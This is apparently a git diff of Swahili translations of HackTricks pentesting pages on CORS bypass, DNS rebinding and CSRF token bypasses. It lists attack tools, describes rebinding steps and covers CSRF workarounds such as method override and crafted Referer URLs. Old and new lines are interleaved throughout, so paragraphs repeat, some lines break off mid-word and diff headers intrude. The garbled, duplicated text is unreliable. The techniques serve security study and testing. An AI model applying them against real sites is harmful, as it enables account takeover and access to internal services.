Njia moja ya kuvuka kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu ya wavuti kutuma ombi kwa niaba yako na kutuma jibu. Hata hivyo, katika hali hii, siri za mwisho wa mwathiriwa hazitatumwa kwani ombi linatolewa kwa uwanja tofauti.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Zana hii hutoa wakala ambao unapeleka ombi lako pamoja na vichwa vyake, wakati pia unajifanya kuwa ni kichwa cha Asili kinacholingana na uwanja ulioombwa. Hii inapita sera ya CORS. Hapa kuna mfano wa matumizi na XMLHttpRequest:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Zana hii hutoa proksi ambayo inapeleka ombi lako pamoja na vichwa vyake, huku ikidanganya pia kichwa cha Asili ili kulingana na uwanja ulioombwa. Hii inapita kwa ufanisi sera ya CORS. Hapa kuna matumizi ya mfano na XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kusambaza maombi. Badala ya kusambaza ombi lako kama lilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kupeleka ombi. Badala ya kupeleka ombi lako kama ilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyotajwa.
### Iframe + Kupita kwa Popup
### Kuepuka kwa Iframe + Popup
Unaweza **kuepuka ukaguzi wa CORS** kama vile `e.origin === window.origin` kwa **kuunda iframe** na **kutoka hapo kufungua dirisha jipya**. Taarifa zaidi zinapatikana kwenye ukurasa ufuatao:
Unaweza **kuvuka ukaguzi wa CORS** kama vile `e.origin === window.origin` kwa **kuunda iframe** na **kufungua dirisha jipya** kutoka kwake. Taarifa zaidi inapatikana kwenye ukurasa ufuatao:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -292,62 +286,77 @@ Unaweza **kuepuka ukaguzi wa CORS** kama vile `e.origin === window.origin` kwa *
### DNS Rebinding kupitia TTL
DNS rebinding kupitia TTL ni mbinu inayotumiwa kuepuka hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hapa ndivyo inavyofanya kazi:
DNS rebinding kupitia TTL ni mbinu inayotumika kuvuka hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:
1. Mtu mwenye nia mbaya anaunda ukurasa wa wavuti na kumfanya mwathirika aufikie.
2. Mtu mwenye nia mbaya kisha anabadilisha DNS (IP) ya kikoa chake ili ielekeze kwenye ukurasa wa wavuti wa mwathirika.
3. Kivinjari cha mwathirika kinahifadhi jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
4. Wakati TTL inapomalizika, kivinjari cha mwathirika kinafanya ombi jipya la DNS, kuruhusu mtu mwenye nia mbaya kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathirika.
5. Kwa kuendelea kudhibiti IP ya mwathirika, mtu mwenye nia mbaya anaweza kukusanya habari kutoka kwa mwathirika bila kutuma vidakuzi kwa seva ya mwathirika.
1. Mshambuliaji anaunda ukurasa wa wavuti na kufanya mwathiriwa aifikie.
2. Mshambuliaji kisha hubadilisha DNS (IP) ya kikoa chao ili ielekeze kwenye ukurasa wa wavuti wa mwathiriwa.
3. Kivinjari cha mwathiriwa hufanya akiba ya jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
4. Wakati TTL inapomalizika, kivinjari cha mwathiriwa hufanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathiriwa.
5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.
Ni muhimu kuzingatia kuwa vivinjari vina taratibu za kuhifadhi cache ambazo zinaweza kuzuia matumizi ya moja kwa moja ya mbinu hii, hata na thamani ndogo za TTL.
Ni muhimu kutambua kuwa vivinjari vina mifumo ya akiba ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata kwa thamani za TTL za chini.
DNS rebinding inaweza kuwa na manufaa kwa kuepuka ukaguzi wazi wa IP uliofanywa na mwathirika au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu muda wa kumalizika kwa cache.
DNS rebinding inaweza kuwa na manufaa kwa kuvuka ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu akiba kumalizika.
Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Ili kuendesha seva yako ya DNS rebinding, unaweza kutumia zana kama **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Hii inahusisha kufichua bandari yako ya ndani ya 53/udp, kuunda rekodi ya A inayoelekeza kwake (kwa mfano, ns.example.com), na kuunda rekodi ya NS inayoelekeza kwa subdomain ya A iliyoanzishwa hapo awali (kwa mfano, ns.example.com). Kwa njia hii, kila subdomain ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.
Ili kuendesha seva yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Hii inahusisha kufunua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayoashiria hiyo (k.m., ns.example.com), na kuunda rekodi ya NS inayoashiria kwa subdomain ya A iliyoundwa hapo awali (k.m., ns.example.com). Kila subdomain ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.
Pia unaweza kuchunguza seva inayofanya kazi kwa umma kwenye [http://rebind.it/singularity.html](http://rebind.it/singularity.html) ili kuelewa na kufanya majaribio zaidi.
Unaweza pia kuchunguza seva inayofanya kazi hadharani kwa [http://rebind.it/singularity.html](http://rebind.it/singularity.html) kwa uelewa na majaribio zaidi.
### DNS Rebinding kupitia **Kufurika kwa Cache ya DNS**
### DNS Rebinding kupitia **Kufurika kwa Akiba ya DNS**
DNS rebinding kupitia kufurika kwa cache ya DNS ni mbinu nyingine inayotumiwa kuepuka utaratibu wa kuhifadhi cache ya vivinjari na kulazimisha ombi la pili la DNS. Hapa ndivyo inavyofanya kazi:
DNS rebinding kupitia kufurika kwa akiba ya DNS ni mbinu nyingine inayotumika kuvuka mifumo ya akiba ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:
1. Awali, wakati mwathirika anafanya ombi la DNS, anajibiwa na anwani ya IP ya mtu mwenye nia mbaya.
2. Ili kuepuka ulinzi wa kuhifadhi cache, mtu mwenye nia mbaya anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika kwenye cache ya DNS, ambayo kimsingi inafuta jina la seva ya mtu mwenye nia mbaya lililohifadhiwa kwenye cache.
3. Wakati kivinjari cha mwathirika kinapofanya ombi la pili la DNS, sasa linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.
1. Kwanza, wakati mwathiriwa anafanya ombi la DNS, jibu linajibiwa na anwani ya IP ya mshambuliaji.
2. Ili kuvuka ulinzi wa akiba, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika akiba ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
3. Wakati kivinjari cha mwathiriwa kinafanya ombi la pili la DNS, sasa jibu linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.
Kwa kufurika cache ya DNS na mfanyakazi wa huduma, mtu mwenye nia mbaya anaweza kudhibiti mchakato wa ufafanuzi wa DNS na kulazimisha kivinjari cha mwathirika kufanya ombi la pili, wakati huu likielekezwa kwa anwani ya IP inayotakiwa na mtu mwenye nia mbaya.
Kwa kufurika kwa akiba ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudanganya mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
### DNS Rebinding kupitia **Cache**
### DNS Rebinding kupitia **Akiba**
Njia nyingine ya kuepuka ulinzi wa kuhifadhi cache ni kwa kutumia anwani za IP nyingi kwa subdomain ile ile katika mtoa huduma wa DNS. Hapa ndivyo inavyofanya kazi:
Njia nyingine ya kuvuka ulinzi wa akiba ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:
1. Mtu mwenye nia mbaya anaweka rekodi mbili za A (au rekodi moja ya A na anwani mbili za IP) kwa subdomain ile ile katika mtoa huduma wa DNS.
2. Wakati kivinjari kinachunguza rekodi hizi, kinapoke
### Bypassing Nyingine za Kawaida
1. Mshambuliaji anaweka rekodi mbili za A (au rekodi moja ya A na anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.
2. Wakati kivinjari kinachunguza rekodi hizi, kinapokea anwani zote mbili za IP.
3. Ikiwa kivinjari kinachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa kikoa kimoja.
4. Hata hivyo, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, wanakoma kujibu kivinjari cha mwathiriwa.
5. Kivinjari cha mwathiriwa, baada ya kugundua kuwa kikoa hakijibu, huanza kutumia anwani ya IP iliyotolewa ya pili.
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha taarifa.
* Ikiwa **IP za ndani haziruhusiwi**, huenda wame **sahau kuzuia 0.0.0.0** (inafanya kazi kwenye Linux na Mac)
Mbinu hii inatumia tabia ya vivinjari wakati anwani za IP nyingi zinapotolewa kwa kikoa. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP la kivinjari, mshambuliaji anaweza kutumia SOP na kupata taarifa kutoka kwa mwathiriwa.
{% hint style="warning" %}
Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurejesha **127.0.0.1** kwenye Windows na **0.0.0.0** kwenye linux.\
Watoa huduma kama vile godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IP 2 ikiwa mojawapo ni "0.0.0.0"
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}
Kwa habari zaidi unaweza kucheki [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
### Bypassinga Kawa
* Ikiwa **IP za ndani haziruhusiwi**, wanaweza **kusahau kupiga marufuku 0.0.0.0** (inafanya kazi kwenye Linux na Mac)
* Ikiwa **IP za ndani haziruhusiwi**, jibu na **CNAME** kwa **localhost** (inafanya kazi kwenye Linux na Mac)
* Ikiwa **IP za ndani haziruhusiwi** kama majibu ya DNS, unaweza kujibu **CNAMEs kwa huduma za ndani** kama vile www.corporate.internal.
### DNS Rebidding Iliyotumiwa Kama Silaha
### Silaha ya DNS Rebidding
Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya kutumia zana ifuatayo katika mazungumzo [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya kutumia zana ifuatayo kwenye mazungumzo [Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni zana ya kutekeleza mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha sehemu muhimu za kurekebisha anwani ya IP ya jina la DNS la seva ya shambulizi hadi anwani ya IP ya mashine ya lengo na kutumikia mzigo wa shambulizi ili kudukua programu zenye udhaifu kwenye mashine ya lengo.
[**`Umoja wa Asili`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurekebisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kuf exploit programu zinazoweza kudhuriwa kwenye mashine ya lengo.
### Ulinzi Halisi Dhidi ya DNS Rebinding
### Kinga Halisi dhidi ya DNS Rebinding
* Tumia TLS kwenye huduma za ndani
* Tuma ombi la uwakiki ili kupata ufikiaji wa data
* Thibitisha kichwa cha mwenyeji
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali wakati seva za umma zinataka kupata seva za ndani
* Omba uthibitisho wa kupata data
* Thibitisha kichwa cha Mwenyeji
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali daima wakati seva za umma zinataka kupata seva za ndani
## **Zana**
**Fanya Fuzzing kwenye mipangilio isiyofaa katika sera za CORS**
**Fanya majaribio ya kufanya kosa katika sera za CORS**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
@ -355,6 +364,7 @@ Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya ku
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
## Marejeo
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
@ -364,18 +374,3 @@ Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya ku
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,84 +2,112 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug!
**Machapisho ya Kudukua**\
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za kudukua
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
**Habari za Kudukua za Wakati Halisi**\
Endelea kuwa na habari za haraka katika ulimwengu wa kudukua kupitia habari na ufahamu wa wakati halisi
**Machapisho ya Kudukua ya Wakati Halisi**\
Kaa sawa na ulimwengu wa kudukua unaobadilika haraka kupitia habari za wakati halisi na ufahamu
**Matangazo ya Hivi Karibuni**\
Baki na habari za hivi karibuni kuhusu uzinduzi wa tuzo za mdudu na sasisho muhimu za jukwaa
**Matangazo Mapya**\
Baki mwelekezwa na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
## Kuelezea Cross-Site Request Forgery (CSRF)
## Maelezo ya Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana kwenye programu za wavuti. Inawezesha wadukuzi kutekeleza vitendo kwa niaba ya watumiaji wasio na shaka kwa kudukua vikao vyao vilivyothibitishwa. Shambulio linatekelezwa wakati mtumiaji, ambaye ameingia kwenye jukwaa la mwathirika, anatembelea tovuti yenye nia mbaya. Tovuti hii kisha inazindua maombi kwenye akaunti ya mwathirika kupitia njia kama kutekeleza JavaScript, kuwasilisha fomu, au kupata picha.
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana kwenye programu za wavuti. Inawezesha wadukuzi kutekeleza vitendo kwa niaba ya watumiaji wasio na shaka kwa kudanganya vikao vyao vilivyothibitishwa. Shambulio hutekelezwa wakati mtumiaji, ambaye ameingia kwenye jukwaa la muathiriwa, anatembelea tovuti yenye nia mbaya. Tovuti hii kisha huanzisha maombi kwa akaunti ya muathiriwa kupitia njia kama kutekeleza JavaScript, kuwasilisha fomu, au kupata picha.
### Masharti ya Shambulio la CSRF
Ili kudukua udhaifu wa CSRF, hali kadhaa lazima zikutane:
1. **Tambua Kitendo Chenye Thamani**: Mshambuliaji lazima atafute kitendo kinachofaa kudukuliwa, kama vile kubadilisha nenosiri la mtumiaji, barua pepe, au kuinua mamlaka.
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia kuki au kichwa cha Uthibitishaji wa Msingi wa HTTP, kwani vichwa vingine haviwezi kudhibitiwa kwa kusudi hili.
3. **Kutokuwepo kwa Vigezo Visivyotabirika**: Ombi halipaswi kuwa na vigezo visivyotabirika, kwani vinaweza kuzuia shambulio.
Kutumia udhaifu wa CSRF, hali kadhaa lazima zikutane:
### Ulinzi Dhidi ya CSRF
Mbinu kadhaa za kuzuia zinaweza kutekelezwa ili kulinda dhidi ya mashambulio ya CSRF:
1. **Tambua Kitendo cha Thamani**: Mshambuliaji lazima apate kitendo cha kudukua, kama vile kubadilisha nenosiri la mtumiaji, barua pepe, au kuinua mamlaka.
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia vidakuzi au kichwa cha Uthibitishaji wa Msingi wa HTTP, kwani vichwa vingine haviwezi kudhibitiwa kwa kusudi hili.
3. **Kutokuwepo kwa Parameta Zisizotabirika**: Ombi halipaswi kuwa na parameta zisizotabirika, kwani zinaweza kuzuia shambulio.
* [**Vidakuzi vya SameSite**](hacking-with-cookies/#samesite): Tabia hii inazuia kivinjari kutuma vidakuzi pamoja na maombi kutoka kwenye tovuti nyingine. [Zaidi kuhusu Vidakuzi vya SameSite](hacking-with-cookies/#samesite).
* [**Kugawana rasilimali kati ya asili**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma majibu kutoka kwenye tovuti ya mwathirika. [Jifunze kuhusu kuvuka CORS](cors-bypass.md).
* **Uhakiki wa Mtumiaji**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
* **Kuangalia Vichwa vya Referrer au Origin**: Kuthibitisha vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwenye vyanzo vya kuaminika. Walakini, uundaji wa makini wa URL unaweza kuzunguka ukaguzi usio sahihi, kama vile:
- Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL ya kuaminika)
- Kutumia `http://example.com.mal.net` (URL inaanza na URL ya kuaminika)
* **Kubadilisha Majina ya Vigezo**: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulio ya otomatiki.
* **Vidakuzi vya CSRF**: Kuingiza kitambulisho cha kipekee cha CSRF katika kila kikao na kuhitaji kitambulisho hiki katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa kitambulisho unaweza kuimarishwa kwa kutekeleza CORS.
### Ukaguzi Haraka
Unaweza **kukamata ombi katika Burp** na ukague ulinzi wa CSRF na kujaribu kutoka kwenye kivinjari unaweza bonyeza **Nakili kama fetch** na ukague ombi:
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
### Kujilinda Dhidi ya CSRF
Mbinu kadhaa za kujilinda zinaweza kutekelezwa kulinda dhidi ya mashambulio ya CSRF:
* [**Vidakuzi vya SameSite**](hacking-with-cookies/#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi kutoka kwenye tovuti nyingine. [Zaidi kuhusu Vidakuzi vya SameSite](hacking-with-cookies/#samesite).
* [**Kushiriki rasilimali kati ya asili**](cors-bypass.md): Sera ya CORS ya tovuti ya muathiriwa inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwenye tovuti ya muathiriwa. [Jifunze kuhusu kuzidiwa kwa CORS](cors-bypass.md).
* **Uthibitishaji wa Mtumiaji**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
* **Kuangalia Vichwa vya Referrer au Asili**: Kuthibitisha vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwenye vyanzo vinavyoaminika. Walakini, kutengeneza kwa uangalifu wa URL kunaweza kuepuka ukaguzi uliofanywa vibaya, kama vile:
* Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL inayotegemewa)
* Kutumia `http://example.com.mal.net` (URL inaanza na URL inayotegemewa)
* **Kubadilisha Majina ya Parameta**: Kubadilisha majina ya parameta katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulio ya kiotomatiki.
* **Vidakuzi vya CSRF**: Kuingiza kitambulisho cha CSRF kipekee katika kila kikao na kuhitaji kitambulisho hiki katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa kitambulisho unaweza kuimarishwa kwa kutekeleza CORS.
Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uadilifu wa programu za wavuti.
## Mabao ya Ulinzi
## Kuvuka Ulinzi
### Kutoka POST hadi GET
Labda fomu unayotaka kutumia ni tayari kupeleka ombi la **POST na kitambulisho cha CSRF lakini**, unapaswa **kuchunguza** ikiwa **GET** pia ni **sahihi** na ikiwa unapotuma ombi la GET kitambulisho cha CSRF bado kinathibitishwa.
Labda fomu unayotaka kutumia ni tayari kutuma **ombi la POST na kitambulisho cha CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapotuma ombi la GET **kitambulisho cha CSRF bado kinathibitishwa**.
### Kutokuwepo kwa kitambulisho
Programu inaweza kutekeleza mfumo wa **kuthibitisha vitambulisho** wakati vinapokuwepo. Walakini, udhaifu unatokea ikiwa uthibitishaji unapuuzwa kabisa wakati kitambulisho hakipo. Wadukuzi wanaweza kudukua hii kwa **kuondoa parameter** inayobeba kitambulisho, sio tu thamani yake. Hii inawaruhusu kuzunguka mchakato wa uthibitishaji na kutekeleza shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
Programu zinaweza kutekeleza mbinu za **kuthibitisha vitambulisho** wanapokuwepo. Walakini, udhaifu unatokea ikiwa uthibitishaji unapuuzwa kabisa wakati kitambulisho hakipo. Wadukuzi wanaweza kutumia hili kwa **kuondoa parameta** inayobeba kitambulisho, si tu thamani yake. Hii inaruhusu kuzunguka mchakato wa uthibitishaji na kutekeleza shambulio la Kuvuka Ombi la Tovuti (CSRF) kwa ufanisi.
### Kitambulisho cha CSRF hakijafungwa na kikao cha mtumiaji
### Kitambulisho cha CSRF hakihusishwi na kikao cha mtumiaji
Programu **isiofunga vitambulisho vya CSRF kwa vikao vya mtumiaji** inaleta hatari kubwa ya usalama. Mifumo hii inathibitisha vitambulisho dhidi ya **kundi la kimataifa** badala ya kuhakikisha kila kitambulisho kimefungwa kwenye kikao kinachoanzisha.
Programu **zisizohusisha vitambulisho vya CSRF na vikao vya mtumiaji** zina hatari kubwa ya usalama. Mifumo hii huthibitisha vitambulisho dhidi ya **mtungi wa jumla** badala ya kuhakikisha kila kitambulisho kimefungwa kwenye kikao kinachoanzisha.
Hapa ndivyo wadukuzi wanavyotumia hii:
Hivi ndivyo wadukuzi wanavyotumia hili:
1. **Thibitisha** kwa kutumia akaunti yao wenyewe.
2. **Pata kitambulisho halali cha CSRF** kutoka kwenye kundi la kimataifa.
3. **Tumia kitambulisho hiki** katika shambulio la CSRF dhidi ya mwathirika.
1. **Kujiandikisha** kwa kutumia akaunti yao wenyewe.
2. **Pata kitambulisho halali cha CSRF** kutoka kwenye mtungi wa jumla.
3. **Tumia kitambulisho hiki** katika shambulio la CSRF dhidi ya muathiriwa.
Udhaifu huu unaruhusu wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya mwathirika, kwa kudukua mfumo wa uthibitishaji wa kitambulisho usiofaa wa programu.
Udhaifu huu huruhusu wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya muathiriwa, kwa kutumia mbinu dhaifu ya uthibitishaji wa kitambulisho cha programu.
### Kuzidiwa kwa njia
### Kuvuka njia
Ikiwa ombi linatumia njia "**isio ya k
Ikiwa ombi linatumia "**njia ya kipekee**" **ya njia**, angalia ikiwa **kazi ya kubadilisha njia** inafanya kazi. Kwa mfano, ikiwa inatumia njia ya **KUWEKA** unaweza kujaribu kutumia njia ya **POST** na **tuma**: _https://mfano.com/my/dear/api/val/num?**\_method=KUWEKA**_
Hii inaweza pia kufanya kazi kwa kutuma **parameta ya \_method ndani ya ombi la POST** au kutumia **vichwa**:
* _X-HTTP-Method_
